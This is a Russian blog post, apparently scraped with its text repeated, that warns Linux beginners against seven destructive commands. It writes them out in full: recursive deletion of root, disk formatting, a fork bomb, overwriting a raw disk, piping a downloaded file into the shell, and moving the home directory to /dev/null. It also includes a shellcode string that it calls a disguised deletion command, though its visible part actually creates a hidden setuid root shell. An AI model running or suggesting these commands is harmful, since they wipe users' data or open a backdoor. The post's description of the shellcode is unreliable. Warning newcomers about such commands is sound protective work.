Новичку — Семь смертельных команд
Оригинал
Если ты новичок в мире Linux, то есть шанс, что в интернетах тебе встретитсяредиска нехороший человек, и он будет провоцировать тебя на выполнение команд, которые уничтожат твои данные или даже нанесут вред операционной системе.
Для того чтобы избежать такого исхода событий, прочти следующий текст.
«Не повторять – опасно!»
1.
Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.
В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.
2.
Это hex-версия команды [rm -rf /], которая может ввести в заблуждение менее опытного пользователя.
3.
Переформатирование или полное уничтожение всех файлов на устройстве
4.
Форкбомба. Эта команда принуждает систему запускать большое количествотысячи их процессов, до тех пор пока система не зависнет. Часто это ведёт к повреждениям данных.
5.
С помощью этой команды неструктурированные данные будут записаны на устройство. Обычно после этого файловая система приходит в негодность (данные, разумеется, теряются).
6.
Никогда не загружайте чтобы то ни было с неизвестных ресурсов. В противном случае, как показывает этот пример, загруженный файл сразу передается на выполнение командной оболочке. О последствиях этого стоит только догадываться, но вряд ли что-либо светлое и доброе.
7.
Команда перемещает все файлы из твоей домашней директории вЛимпопо место, которое не существует. После этого ты их никогда больше не увидишь.
P.S. На самом деле таких команд намного больше, поэтому всегда перед их(команд, которые тебе советуют использовать) выполнением проверяй что может произойти. Ман и гуглЪ в помощь.
Будем надеятся, что наши братья по Вере напишут в комментариях о других подобных командах.
Если ты новичок в мире Linux, то есть шанс, что в интернетах тебе встретится
Для того чтобы избежать такого исхода событий, прочти следующий текст.
«Не повторять – опасно!»
1.
rm -rf /
Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.
В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.
2.
1 2 3 4 5 6 7 8 9 10 11 |
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; |
Это hex-версия команды [rm -rf /], которая может ввести в заблуждение менее опытного пользователя.
3.
mkfs.ext3 /dev/sda
Переформатирование или полное уничтожение всех файлов на устройстве
4.
:(){:|:&};:
Форкбомба. Эта команда принуждает систему запускать большое количество
5.
любая_команда > /dev/sda
С помощью этой команды неструктурированные данные будут записаны на устройство. Обычно после этого файловая система приходит в негодность (данные, разумеется, теряются).
6.
wget http://какойто_неизвестный_ресурс/подозрительный_файл -O- | sh
Никогда не загружайте чтобы то ни было с неизвестных ресурсов. В противном случае, как показывает этот пример, загруженный файл сразу передается на выполнение командной оболочке. О последствиях этого стоит только догадываться, но вряд ли что-либо светлое и доброе.
7.
mv /home/твоя_домашняя_директория/* /dev/null
Команда перемещает все файлы из твоей домашней директории в
P.S. На самом деле таких команд намного больше, поэтому всегда перед их(команд, которые тебе советуют использовать) выполнением проверяй что может произойти. Ман и гуглЪ в помощь.
Будем надеятся, что наши братья по Вере напишут в комментариях о других подобных командах.